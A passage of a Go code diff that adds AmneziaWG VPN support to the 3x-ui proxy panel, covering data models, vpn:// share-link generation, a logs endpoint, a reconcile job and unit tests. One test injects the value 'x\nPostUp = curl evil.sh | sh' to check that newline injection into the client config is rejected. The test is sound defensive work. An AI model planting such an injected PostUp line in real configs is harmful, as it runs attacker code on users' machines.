[]v6Alias{{Addr: "fd86::2", Iface: "eth0"}},
)
if len(*calls) != 2 {
t.Fatalf("expected exactly 2 calls, got %d", len(*calls))
}
if order[0] != "add" || order[1] != "del" {
t.Fatalf("expected add before del, got order=%v", order)
}
}
+59 -40
View File
@@ -32,6 +32,7 @@ const (
WireGuard Protocol = "wireguard"
Hysteria Protocol = "hysteria"
MTProto Protocol = "mtproto"
AmneziaWG Protocol = "amneziawg"
)
// User represents a user account in the 3x-ui panel.
@@ -61,7 +62,7 @@ type Inbound struct {
// Xray configuration fields
Listen string `json:"listen" form:"listen"`
Port int `json:"port" form:"port" validate:"gte=0,lte=65535" example:"443"`
Protocol Protocol `json:"protocol" form:"protocol" validate:"required,oneof=vmess vless trojan shadowsocks wireguard hysteria http mixed tunnel tun mtproto" example:"vless"`
Protocol Protocol `json:"protocol" form:"protocol" validate:"required,oneof=vmess vless trojan shadowsocks wireguard hysteria http mixed tunnel tun mtproto amneziawg" example:"vless"`
Settings string `json:"settings" form:"settings"`
StreamSettings string `json:"streamSettings" form:"streamSettings"`
Tag string `json:"tag" form:"tag" gorm:"unique" example:"in-443-tcp"`
@@ -871,31 +872,40 @@ type ClientReverse struct {
// Client represents a client configuration for Xray inbounds with traffic limits and settings.
type Client struct {
ID string `json:"id,omitempty"` // Unique client identifier
Security string `json:"security"` // Security method (e.g., "auto", "aes-128-gcm")
Password string `json:"password,omitempty"` // Client password
Flow string `json:"flow,omitempty"` // Flow control (XTLS)
Reverse *ClientReverse `json:"reverse,omitempty"` // VLESS simple reverse proxy settings
Auth string `json:"auth,omitempty"` // Auth password (Hysteria)
PrivateKey string `json:"privateKey,omitempty"`
PublicKey string `json:"publicKey,omitempty"`
AllowedIPs []string `json:"allowedIPs,omitempty"`
PreSharedKey string `json:"preSharedKey,omitempty"`
KeepAlive int `json:"keepAlive,omitempty"`
Secret string `json:"secret,omitempty" example:"ee1234567890abcdef1234567890abcd7777772e636c6f7564666c6172652e636f6d"`
AdTag string `json:"adTag,omitempty" example:"0123456789abcdef0123456789abcdef"`
Email string `json:"email"` // Client email identifier
LimitIP int `json:"limitIp"` // IP limit for this client
TotalGB int64 `json:"totalGB" form:"totalGB"` // Total traffic limit in GB
ExpiryTime int64 `json:"expiryTime" form:"expiryTime"` // Expiration timestamp
Enable bool `json:"enable" form:"enable"` // Whether the client is enabled
TgID int64 `json:"tgId" form:"tgId"` // Telegram user ID for notifications
SubID string `json:"subId" form:"subId"` // Subscription identifier
Group string `json:"group,omitempty" form:"group"` // Logical grouping label
Comment string `json:"comment" form:"comment"` // Client comment
Reset int `json:"reset" form:"reset"` // Reset period in days
ResetDay int `json:"resetDay" form:"resetDay"` // Calendar renewal day 1-31, 0 = interval mode
ResetMax int `json:"resetMax" form:"resetMax"` // Max auto-renew count, 0 = unlimited
ID string `json:"id,omitempty"` // Unique client identifier
Security string `json:"security"` // Security method (e.g., "auto", "aes-128-gcm")
Password string `json:"password,omitempty"` // Client password
Flow string `json:"flow,omitempty"` // Flow control (XTLS)
Reverse *ClientReverse `json:"reverse,omitempty"` // VLESS simple reverse proxy settings
Auth string `json:"auth,omitempty"` // Auth password (Hysteria)
PrivateKey string `json:"privateKey,omitempty"`
PublicKey string `json:"publicKey,omitempty"`
AllowedIPs []string `json:"allowedIPs,omitempty"`
// AllowedIPsByInbound optionally overrides AllowedIPs on a per-inbound
// basis, keyed by inbound id. Lets one identity attached to both
// WireGuard and AmneziaWG carry two genuinely different addresses in a
// single Create/Update call instead of the shared AllowedIPs field
// being broadcast to every attached tunnel inbound. Absent/unset for a
// given inbound id falls back to the shared AllowedIPs exactly as
// before -- fully backward compatible for callers that never set this.
AllowedIPsByInbound map[int][]string `json:"allowedIPsByInbound,omitempty"`
PreSharedKey string `json:"preSharedKey,omitempty"`
KeepAlive int `json:"keepAlive,omitempty"`
ForwardedPorts string `json:"forwardedPorts,omitempty"` // AmneziaWG per-client port-forwarding spec, e.g. "80,443,8000-8100"
Secret string `json:"secret,omitempty" example:"ee1234567890abcdef1234567890abcd7777772e636c6f7564666c6172652e636f6d"`
AdTag string `json:"adTag,omitempty" example:"0123456789abcdef0123456789abcdef"`
Email string `json:"email"` // Client email identifier
LimitIP int `json:"limitIp"` // IP limit for this client
TotalGB int64 `json:"totalGB" form:"totalGB"` // Total traffic limit in GB
ExpiryTime int64 `json:"expiryTime" form:"expiryTime"` // Expiration timestamp
Enable bool `json:"enable" form:"enable"` // Whether the client is enabled
TgID int64 `json:"tgId" form:"tgId"` // Telegram user ID for notifications
SubID string `json:"subId" form:"subId"` // Subscription identifier
Group string `json:"group,omitempty" form:"group"` // Logical grouping label
Comment string `json:"comment" form:"comment"` // Client comment
Reset int `json:"reset" form:"reset"` // Reset period in days
ResetDay int `json:"resetDay" form:"resetDay"` // Calendar renewal day 1-31, 0 = interval mode
ResetMax int `json:"resetMax" form:"resetMax"` // Max auto-renew count, 0 = unlimited
// Per-client traffic reset cycle, independent of the inbound's own (#5497).
TrafficReset string `json:"trafficReset,omitempty" form:"trafficReset" validate:"omitempty,oneof=never hourly daily weekly monthly"`
TrafficResetDay int `json:"trafficResetDay,omitempty" form:"trafficResetDay" validate:"omitempty,gte=1,lte=31"`
@@ -918,6 +928,7 @@ type ClientRecord struct {
AllowedIPs string `json:"allowedIPs" gorm:"column:wg_allowed_ips"`
PreSharedKey string `json:"preSharedKey" gorm:"column:wg_pre_shared_key"`
KeepAlive int `json:"keepAlive" gorm:"column:wg_keep_alive;default:0"`
ForwardedPorts string `json:"forwardedPorts" gorm:"column:wg_forwarded_ports"`
Secret string `json:"secret" gorm:"column:secret"`
AdTag string `json:"adTag" gorm:"column:ad_tag;default:''"`
LimitIP int `json:"limitIp" gorm:"column:limit_ip"`
@@ -1126,13 +1137,14 @@ func (c *Client) ToRecord() *ClientRecord {
CreatedAt: c.CreatedAt,
UpdatedAt: c.UpdatedAt,
PrivateKey: c.PrivateKey,
PublicKey: c.PublicKey,
AllowedIPs: strings.Join(c.AllowedIPs, ","),
PreSharedKey: c.PreSharedKey,
KeepAlive: c.KeepAlive,
Secret: c.Secret,
AdTag: c.AdTag,
PrivateKey: c.PrivateKey,
PublicKey: c.PublicKey,
AllowedIPs: strings.Join(c.AllowedIPs, ","),
PreSharedKey: c.PreSharedKey,
KeepAlive: c.KeepAlive,
ForwardedPorts: c.ForwardedPorts,
Secret: c.Secret,
AdTag: c.AdTag,
}
if c.Reverse != nil {
if b, err := json.Marshal(c.Reverse); err == nil {
@@ -1183,13 +1195,14 @@ func (r *ClientRecord) ToClient() *Client {
CreatedAt: r.CreatedAt,
UpdatedAt: r.UpdatedAt,
PrivateKey: r.PrivateKey,
PublicKey: r.PublicKey,
AllowedIPs: splitWireguardAllowedIPs(r.AllowedIPs),
PreSharedKey: r.PreSharedKey,
KeepAlive: r.KeepAlive,
Secret: r.Secret,
AdTag: r.AdTag,
PrivateKey: r.PrivateKey,
PublicKey: r.PublicKey,
AllowedIPs: splitWireguardAllowedIPs(r.AllowedIPs),
PreSharedKey: r.PreSharedKey,
KeepAlive: r.KeepAlive,
ForwardedPorts: r.ForwardedPorts,
Secret: r.Secret,
AdTag: r.AdTag,
}
if r.Reverse != "" {
var rev ClientReverse
@@ -1409,6 +1422,12 @@ func MergeClientRecord(existing *ClientRecord, incoming *ClientRecord) []ClientM
existing.KeepAlive = incoming.KeepAlive
}
}
if existing.ForwardedPorts != incoming.ForwardedPorts && incoming.ForwardedPorts != "" {
if incomingNewer || existing.ForwardedPorts == "" {
keep("forwardedPorts", existing.ForwardedPorts, incoming.ForwardedPorts, incoming.ForwardedPorts)
existing.ForwardedPorts = incoming.ForwardedPorts
}
}
if existing.Comment != incoming.Comment && incoming.Comment != "" {
if incomingNewer || existing.Comment == "" {
keep("comment", existing.Comment, incoming.Comment, incoming.Comment)
+4 -2
View File
@@ -694,7 +694,8 @@ func jsonMux(global, override string) string {
func (s *SubJsonService) genVnext(inbound *model.Inbound, streamSettings json_util.RawMessage, client model.Client, mux string) json_util.RawMessage {
outbound := Outbound{
Protocol: string(inbound.Protocol),
Tag: "proxy"}
Tag: "proxy",
}
if mux != "" {
outbound.Mux = json_util.RawMessage(mux)
}
@@ -797,7 +798,8 @@ func (s *SubJsonService) genServer(subReq *SubService, inbound *model.Inbound, s
func (s *SubJsonService) genHy(inbound *model.Inbound, newStream map[string]any, client model.Client, mux string) json_util.RawMessage {
outbound := Outbound{
Protocol: string(inbound.Protocol),
Tag: "proxy"}
Tag: "proxy",
}
if mux != "" {
outbound.Mux = json_util.RawMessage(mux)
+134 -1
View File
@@ -18,6 +18,7 @@ import (
"github.com/gin-gonic/gin"
"github.com/goccy/go-json"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
@@ -483,7 +484,7 @@ func (s *SubService) getInboundsBySubId(subId string) ([]*model.Inbound, error)
JOIN client_inbounds ON client_inbounds.inbound_id = inbounds.id
JOIN clients ON clients.id = client_inbounds.client_id
WHERE
inbounds.protocol in ('vmess','vless','trojan','shadowsocks','hysteria','wireguard','mtproto')
inbounds.protocol in ('vmess','vless','trojan','shadowsocks','hysteria','wireguard','amneziawg','mtproto')
AND clients.sub_id = ? AND inbounds.enable = ?
)`, subId, true).Order("sub_sort_index ASC").Order("id ASC").Find(&inbounds).Error
if err != nil {
@@ -634,6 +635,8 @@ func (s *SubService) GetLink(inbound *model.Inbound, email string) string {
return s.genMtprotoLink(inbound, email)
case "wireguard":
return s.genWireguardLink(inbound, email)
case "amneziawg":
return s.genAmneziaWGLink(inbound, email)
}
return ""
}
@@ -680,6 +683,136 @@ func (s *SubService) genWireguardLink(inbound *model.Inbound, email string) stri
return buildLinkWithParams(link, params, s.genRemark(inbound, email, "", ""))
}
// amneziaWGHeaderOrDefault mirrors the frontend's amneziaWGHLine: AmneziaWG's
// H1-H4 magic-header fields always render into the config text, falling back
// to their protocol-default values (1/2/3/4) when unset rather than being
// omitted, since a native AmneziaWG client needs all four to be present.
func amneziaWGHeaderOrDefault(value, fallback string) string {
if strings.TrimSpace(value) == "" {
return fallback
}
return value
}
// amneziaWGConfigText builds the same plain AmneziaWG client .conf text the
// frontend's genAmneziaWGConfig produces (same field order, same optional-field
// conditionals) -- this is the payload wrapped into vpn:// links below.
func amneziaWGConfigText(server *amneziawg.ServerSettings, client *model.Client, host string, port int, remark string) string {
// These land unescaped in [Interface]; a newline here would inject a
// config line (e.g. a rogue PostUp) into the subscriber's .conf.
for _, v := range []string{client.PrivateKey, server.PrimaryDNS, server.SecondaryDNS, remark} {
if strings.ContainsAny(v, "\r\n") {
return ""
}
}
var b strings.Builder
b.WriteString("[Interface]\n")
fmt.Fprintf(&b, "PrivateKey = %s\n", client.PrivateKey)
fmt.Fprintf(&b, "Address = %s\n", strings.Join(client.AllowedIPs, ", "))
var dns []string
if server.PrimaryDNS != "" {
dns = append(dns, server.PrimaryDNS)
}
if server.SecondaryDNS != "" {
dns = append(dns, server.SecondaryDNS)
}
if len(dns) > 0 {
fmt.Fprintf(&b, "DNS = %s\n", strings.Join(dns, ", "))
}
if server.MTU > 0 {
fmt.Fprintf(&b, "MTU = %d\n", server.MTU)
}
fmt.Fprintf(&b, "Jc = %d\n", server.Jc)
fmt.Fprintf(&b, "Jmin = %d\n", server.Jmin)
fmt.Fprintf(&b, "Jmax = %d\n", server.Jmax)
fmt.Fprintf(&b, "S1 = %d\n", server.S1)
fmt.Fprintf(&b, "S2 = %d\n", server.S2)
if server.S3 > 0 {
fmt.Fprintf(&b, "S3 = %d\n", server.S3)
}
if server.S4 > 0 {
fmt.Fprintf(&b, "S4 = %d\n", server.S4)
}
fmt.Fprintf(&b, "H1 = %s\n", amneziaWGHeaderOrDefault(server.H1, "1"))
fmt.Fprintf(&b, "H2 = %s\n", amneziaWGHeaderOrDefault(server.H2, "2"))
fmt.Fprintf(&b, "H3 = %s\n", amneziaWGHeaderOrDefault(server.H3, "3"))
fmt.Fprintf(&b, "H4 = %s\n", amneziaWGHeaderOrDefault(server.H4, "4"))
for i, v := range []string{server.I1, server.I2, server.I3, server.I4, server.I5} {
if v != "" {
fmt.Fprintf(&b, "I%d = %s\n", i+1, v)
}
}
optional := []struct{ key, v string }{
{"HeaderProtectionKey", server.HeaderProtectionKey},
{"ContentPaddingAddition", server.ContentPaddingAddition},
{"RekeyAfterTime", server.RekeyAfterTime},
{"RekeyTimeout", server.RekeyTimeout},
{"RejectAfterTime", server.RejectAfterTime},
{"KeepaliveTimeout", server.KeepaliveTimeout},
{"MaxHandshakeAttempts", server.MaxHandshakeAttempts},
}
for _, p := range optional {
if p.v != "" {
fmt.Fprintf(&b, "%s = %s\n", p.key, p.v)
}
}
if server.RandomTrailers {
b.WriteString("RandomTrailers = on\n")
}
if server.DisableCookies {
b.WriteString("DisableCookies = on\n")
}
// Peer field order follows wg-quick(8) and the panel's other two AmneziaWG
// emitters (genAmneziaWGConfig, buildAmneziaWGClientConfig); all three are
// independent implementations, so any drift here is invisible until a user
// compares a subscription link against a downloaded .conf.
fmt.Fprintf(&b, "\n# %s\n", remark)
b.WriteString("[Peer]\n")
fmt.Fprintf(&b, "PublicKey = %s\n", server.PublicKey)
if client.PreSharedKey != "" {
fmt.Fprintf(&b, "PresharedKey = %s\n", client.PreSharedKey)
}
b.WriteString("AllowedIPs = 0.0.0.0/0, ::/0\n")
fmt.Fprintf(&b, "Endpoint = %s:%d", host, port)
if client.KeepAlive > 0 {
fmt.Fprintf(&b, "\nPersistentKeepalive = %d", client.KeepAlive)
}
return b.String()
}
// genAmneziaWGLink builds a per-client vpn://<base64url .conf text> share
// link matching the real AmneziaVPN app's own share-link scheme (see the
// frontend's genAmneziaWGLink for the confirmed import-path reasoning).
// Returns "" when the client or server has no key.
func (s *SubService) genAmneziaWGLink(inbound *model.Inbound, email string) string {
if inbound.Protocol != model.AmneziaWG {
return ""
}
var parsed amneziawg.InboundSettings
if err := json.Unmarshal([]byte(inbound.Settings), &parsed); err != nil || parsed.Server == nil {
return ""
}
server := parsed.Server
resolved, ok := s.clientForLink(inbound, email)
if !ok || resolved.PrivateKey == "" {
return ""
}
client := &resolved
text := amneziaWGConfigText(server, client, s.resolveInboundAddress(inbound), inbound.Port, s.genRemark(inbound, email, "", ""))
if text == "" {
return ""
}
return "vpn://" + base64.RawURLEncoding.EncodeToString([]byte(text))
}
// genMtprotoLink builds a per-client Telegram proxy deep link for an mtproto
// inbound: the server/port pair plus the client's own FakeTLS secret. The link
// carries no remark fragment — Telegram proxy deep links have no name field, and
+277
View File
@@ -0,0 +1,277 @@
package sub
import (
"encoding/base64"
"slices"
"strings"
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
)
// TestGenAmneziaWGLinkFields covers the real AmneziaVPN app's vpn:// scheme:
// base64url (no padding) of a plain AmneziaWG .conf text, parsed by the real
// app as a flat "Key = Value" bag (confirmed by reading its own source).
func TestGenAmneziaWGLinkFields(t *testing.T) {
serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("keypair: %v", err)
}
clientPriv, _, err := wgutil.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("client keypair: %v", err)
}
inbound := &model.Inbound{
Listen: "203.0.113.7",
Port: 51820,
Protocol: model.AmneziaWG,
Remark: "awg-sub",
Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `","mtu":1420,"primaryDns":"8.8.8.8"},` +
`"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"],"keepAlive":25}]}`,
}
s := &SubService{}
link := s.genAmneziaWGLink(inbound, "user")
if !strings.HasPrefix(link, "vpn://") {
t.Fatalf("link = %q, want vpn:// prefix", link)
}
raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
if err != nil {
t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
}
text := string(raw)
for _, want := range []string{
"[Interface]",
"PrivateKey = " + clientPriv,
"Address = 10.8.1.2/32",
"MTU = 1420",
"DNS = 8.8.8.8",
"[Peer]",
"PublicKey = " + serverPub,
"Endpoint = 203.0.113.7:51820",
"PersistentKeepalive = 25",
} {
if !strings.Contains(text, want) {
t.Fatalf("decoded config missing %q\n got: %s", want, text)
}
}
// The server block sets none of the 3.1 fields: none may leak into the
// client config (a lone HeaderProtectionKey would break the handshake).
for _, absent := range []string{"HeaderProtectionKey", "RandomTrailers", "DisableCookies", "RekeyAfterTime", "ContentPaddingAddition"} {
if strings.Contains(text, absent) {
t.Fatalf("config must omit unset 3.1 field %q\n got: %s", absent, text)
}
}
}
// TestGenAmneziaWGLink31Fields pins the AmneziaWG 3.1 [Interface] lines and
// their order in the decoded vpn:// payload — client and server configs must
// carry the identical parameter block for the tunnel to work.
func TestGenAmneziaWGLink31Fields(t *testing.T) {
serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("keypair: %v", err)
}
clientPriv, _, err := wgutil.GenerateWireguardKeypair()
if err != nil {
t.Fatalf("client keypair: %v", err)
}
inbound := &model.Inbound{
Listen: "203.0.113.7",
Port: 51820,
Protocol: model.AmneziaWG,
Remark: "awg-31",
Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `",` +
`"jc":4,"jmin":40,"jmax":100,"s1":30,"s2":90,"s3":20,"s4":10,` +
`"h1":"10-2000","h2":"3000-5000","h3":"6000-8000","h4":"9000-11000",` +
`"i1":"<r 64>","i2":"<r 80>",` +
`"headerProtectionKey":"MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",` +
`"contentPaddingAddition":"16-48","rekeyAfterTime":"110-140","rekeyTimeout":"4-8",` +
`"rejectAfterTime":"190-250","keepaliveTimeout":"9-15","maxHandshakeAttempts":"20-40",` +
`"randomTrailers":true,"disableCookies":true},` +
`"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"]}]}`,
}
s := &SubService{}
link := s.genAmneziaWGLink(inbound, "user")
raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
if err != nil {
t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
}
text := string(raw)
want := []string{
"Jc = 4",
"H4 = 9000-11000",
"I1 = <r 64>",
"I2 = <r 80>",
"HeaderProtectionKey = MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",
"ContentPaddingAddition = 16-48",
"RekeyAfterTime = 110-140",
"RekeyTimeout = 4-8",
"RejectAfterTime = 190-250",
"KeepaliveTimeout = 9-15",
"MaxHandshakeAttempts = 20-40",
"RandomTrailers = on",
"DisableCookies = on",
"[Peer]",
}
pos := -1
for _, w := range want {
i := strings.Index(text, w)
if i < 0 {
t.Fatalf("decoded config missing %q\n got: %s", w, text)
}
if i < pos {
t.Fatalf("%q out of order in decoded config:\n%s", w, text)
}
pos = i
}
}
func TestGenAmneziaWGLinkWrongProtocol(t *testing.T) {
s := &SubService{}
vless := &model.Inbound{Protocol: model.VLESS, Settings: `{"clients":[{"email":"user"}]}`}
if got := s.genAmneziaWGLink(vless, "user"); got != "" {
t.Fatalf("wrong protocol should yield empty link, got %q", got)
}
}
func TestGenAmneziaWGLinkNoKey(t *testing.T) {
s := &SubService{}
inbound := &model.Inbound{
Protocol: model.AmneziaWG,
Port: 51820,
Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[{"email":"user"}]}`,
}
if got := s.genAmneziaWGLink(inbound, "user"); got != "" {
t.Fatalf("client without private key should yield empty link, got %q", got)
}
}
// Regression test for the bug where getInboundsBySubId's SQL allowlist was
// missing 'amneziawg', silently excluding every AmneziaWG client from
// subscriptions (plain/individual links, JSON, Clash) even though
// genAmneziaWGLink itself was already fully implemented and wired into
// GetLink's dispatch switch.
func TestGetInboundsBySubIdIncludesAmneziaWG(t *testing.T) {
initSubDB(t)
db := database.GetDB()
in := &model.Inbound{Port: 51820, Protocol: model.AmneziaWG, Enable: true, Tag: "awg-sub", Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[]}`}
if err := db.Create(in).Error; err != nil {
t.Fatalf("create inbound: %v", err)
}
rec := &model.ClientRecord{Email: "u@awg", SubID: "subawg", Enable: true}
if err := db.Create(rec).Error; err != nil {
t.Fatalf("create client: %v", err)
}
if err := db.Create(&model.ClientInbound{ClientId: rec.Id, InboundId: in.Id}).Error; err != nil {
t.Fatalf("create link: %v", err)
}
s := &SubService{}
inbounds, err := s.getInboundsBySubId("subawg")
if err != nil {
t.Fatalf("getInboundsBySubId: %v", err)
}
if len(inbounds) != 1 || inbounds[0].Id != in.Id {
t.Fatalf("amneziawg inbound not returned for subId: %+v", inbounds)
}
}
// peerFieldOrder is wg-quick(8)'s own [Peer] order. The panel emits an
// AmneziaWG .conf from three independent places -- this one, and the frontend's
// genAmneziaWGConfig and buildAmneziaWGClientConfig -- and a user comparing a
// subscription link against a downloaded .conf sees any drift immediately.
var peerFieldOrder = []string{"PublicKey", "PresharedKey", "AllowedIPs", "Endpoint", "PersistentKeepalive"}
func peerFields(t *testing.T, conf string) []string {
t.Helper()
idx := strings.Index(conf, "[Peer]")
if idx < 0 {
t.Fatalf("config has no [Peer] block:\n%s", conf)
}
var got []string
for _, line := range strings.Split(conf[idx:], "\n") {
key := strings.TrimSpace(strings.SplitN(line, "=", 2)[0])
if slices.Contains(peerFieldOrder, key) {
got = append(got, key)
}
}
return got
}
func TestAmneziaWGConfigTextPeerFieldOrder(t *testing.T) {
server := &amneziawg.ServerSettings{PublicKey: "serverPub", PrimaryDNS: "8.8.8.8", MTU: 1420}
t.Run("every optional field set", func(t *testing.T) {
client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}, PreSharedKey: "psk", KeepAlive: 25}
conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
if got := peerFields(t, conf); !slices.Equal(got, peerFieldOrder) {
t.Fatalf("peer fields = %v, want %v\n%s", got, peerFieldOrder, conf)
}
// No trailing newline, whichever optional field happens to be last --
// the frontend emitters end the same way for the same client.
if strings.HasSuffix(conf, "\n") {
t.Fatalf("config must not end with a newline:\n%q", conf)
}
})
t.Run("no preshared key or keepalive", func(t *testing.T) {
client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}}
conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
want := []string{"PublicKey", "AllowedIPs", "Endpoint"}
if got := peerFields(t, conf); !slices.Equal(got, want) {
t.Fatalf("peer fields = %v, want %v\n%s", got, want, conf)
}
if strings.HasSuffix(conf, "\n") {
t.Fatalf("config must not end with a newline:\n%q", conf)
}
})
}
// A newline in a field that lands unescaped in [Interface] would inject a
// config line (e.g. a rogue PostUp); the emitter must refuse to render it.
func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
server := &amneziawg.ServerSettings{
PublicKey: "serverPub==",
PrimaryDNS: "8.8.8.8",
Jc: 4, Jmin: 40, Jmax: 100, S1: 30, S2: 90,
}
client := &model.Client{Email: "peer-1", PrivateKey: "clientPriv==", AllowedIPs: []string{"10.8.1.2/32"}}
clean := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1")
if !strings.Contains(clean, "PrivateKey = clientPriv==") {
t.Fatalf("clean input did not render: %q", clean)
}
injected := "x\nPostUp = curl evil.sh | sh"
cases := []struct {
name string
mutate func(s *amneziawg.ServerSettings, c *model.Client) string
}{
{"privateKey", func(s *amneziawg.ServerSettings, c *model.Client) string { c.PrivateKey = injected; return "peer-1" }},
{"primaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.PrimaryDNS = injected; return "peer-1" }},
{"secondaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.SecondaryDNS = injected; return "peer-1" }},
{"remark", func(s *amneziawg.ServerSettings, c *model.Client) string { return injected }},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
s := *server
c := *client
remark := tc.mutate(&s, &c)
if got := amneziaWGConfigText(&s, &c, "203.0.113.7", 51820, remark); got != "" {
t.Fatalf("%s with a newline rendered a config:\n%s", tc.name, got)
}
})
}
}
+9 -4
View File
@@ -127,11 +127,16 @@ func (a *ClientController) buildClientPayload(rec *model.ClientRecord) (gin.H, e
if t, tErr := a.inboundService.GetClientTrafficByEmail(rec.Email); tErr == nil && t != nil {
usedTraffic = t.Up + t.Down
}
tunnelAllowedIPs, err := a.clientService.TunnelAllowedIPsByInbound(&a.inboundService, rec.Email, inboundIds)
if err != nil {
return nil, err
}
return gin.H{
"client": rec,
"inboundIds": inboundIds,
"externalLinks": externalLinks,
"usedTraffic": usedTraffic,
"client": rec,
"inboundIds": inboundIds,
"externalLinks": externalLinks,
"usedTraffic": usedTraffic,
"tunnelAllowedIPs": tunnelAllowedIPs,
}, nil
}
+8
View File
@@ -74,6 +74,7 @@ func (a *ServerController) initRouter(g *gin.RouterGroup) {
g.POST("/updateGeofile/:fileName", a.updateGeofile)
g.POST("/logs/:count", a.getLogs)
g.POST("/xraylogs/:count", a.getXrayLogs)
g.POST("/amneziawglogs/:count", a.getAmneziaWGLogs)
g.POST("/importDB", a.importDB)
g.POST("/getNewEchCert", a.getNewEchCert)
g.POST("/getCertHash", a.getCertHash)
@@ -320,6 +321,13 @@ func (a *ServerController) getXrayLogs(c *gin.Context) {
jsonObj(c, logs, nil)
}
// getAmneziaWGLogs retrieves the live AmneziaWG peer activity and the panel's
// own AmneziaWG event lines, optionally narrowed by a free-text filter.
func (a *ServerController) getAmneziaWGLogs(c *gin.Context) {
logs := a.serverService.GetAmneziaWGLogs(c.Param("count"), c.PostForm("filter"))
jsonObj(c, logs, nil)
}
// getConfigJson retrieves the Xray configuration as JSON.
func (a *ServerController) getConfigJson(c *gin.Context) {
configJson, err := a.serverService.GetConfigJson()
View File
+55
View File
@@ -0,0 +1,55 @@
package job
import (
"github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
"github.com/mhsanaei/3x-ui/v3/internal/web/service"
)
// AmneziaWGJob reconciles the running embedded AmneziaWG interfaces
// (internal/amneziawgnet -- amneziawg-go over a gVisor netstack, no kernel
// module) against the enabled AmneziaWG inbounds in the database,
// rebuilding/reconfiguring any that drifted. Unlike the retired
// kernel-module Manager this job used to drive, there is no traffic/
// online-status accounting here at all: once a peer's decapsulated traffic
// is relayed into Xray's own SOCKS5 inbound (see
// internal/web/service/xray.go's injectAmneziawgnetSocks, and
// internal/amneziawgnet.Manager's automatic forwarder/relay wiring), it's
// an ordinary Xray user, and XrayTrafficJob's existing, protocol-blind
// stats/online-status polling already picks it up for free.
type AmneziaWGJob struct {
inboundService service.InboundService
}
// NewAmneziaWGJob creates a new AmneziaWG reconcile job instance.
func NewAmneziaWGJob() *AmneziaWGJob {
return new(AmneziaWGJob)
}
// Run reconciles desired AmneziaWG inbounds with running embedded interfaces.
func (j *AmneziaWGJob) Run() {
desired, err := j.inboundService.DesiredAmneziaWGInstances()
if err != nil {
logger.Warning("amneziawg job: get desired instances failed:", err)
return
}
wanted := make([]amneziawgnet.Desired, 0, len(desired))
for _, inst := range desired {
wanted = append(wanted, amneziawgnet.Desired{
Instance: inst,
Options: amneziawgnet.DeviceOptions{
HeaderProtectionKey: inst.Obfuscation.HeaderProtectionKey,
ContentPaddingAddition: inst.Obfuscation.ContentPaddingAddition,
RekeyAfterTime: inst.Obfuscation.RekeyAfterTime,
RekeyTimeout: inst.Obfuscation.RekeyTimeout,
RejectAfterTime: inst.Obfuscation.RejectAfterTime,
KeepaliveTimeout: inst.Obfuscation.KeepaliveTimeout,
MaxHandshakeAttempts: inst.Obfuscation.MaxHandshakeAttempts,
RandomTrailers: inst.Obfuscation.RandomTrailers,
DisableCookies: inst.Obfuscation.DisableCookies,
},
})
}
amneziawgnet.GetManager().Reconcile(wanted)
}
+99 -2
View File
@@ -8,6 +8,8 @@ import (
"strings"
"sync"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
"github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/mtproto"
"github.com/mhsanaei/3x-ui/v3/internal/xray"
@@ -53,6 +55,35 @@ func (l *Local) AddInbound(_ context.Context, ib *model.Inbound) error {
}
return mtproto.GetManager().Ensure(inst)
}
if ib.Protocol == model.AmneziaWG {
inst, ok := amneziawg.InstanceFromInbound(ib)
if !ok {
return nil
}
err := amneziawgnet.GetManager().Ensure(amneziawgnet.Desired{
Instance: inst,
Options: amneziawgnet.DeviceOptions{
HeaderProtectionKey: inst.Obfuscation.HeaderProtectionKey,
ContentPaddingAddition: inst.Obfuscation.ContentPaddingAddition,
RekeyAfterTime: inst.Obfuscation.RekeyAfterTime,
RekeyTimeout: inst.Obfuscation.RekeyTimeout,
RejectAfterTime: inst.Obfuscation.RejectAfterTime,
KeepaliveTimeout: inst.Obfuscation.KeepaliveTimeout,
MaxHandshakeAttempts: inst.Obfuscation.MaxHandshakeAttempts,
RandomTrailers: inst.Obfuscation.RandomTrailers,
DisableCookies: inst.Obfuscation.DisableCookies,
},
})
// A brand new inbound can be the first one to qualify for
// injectAmneziawgnetSocks's Xray-side relay inbound (e.g. its first
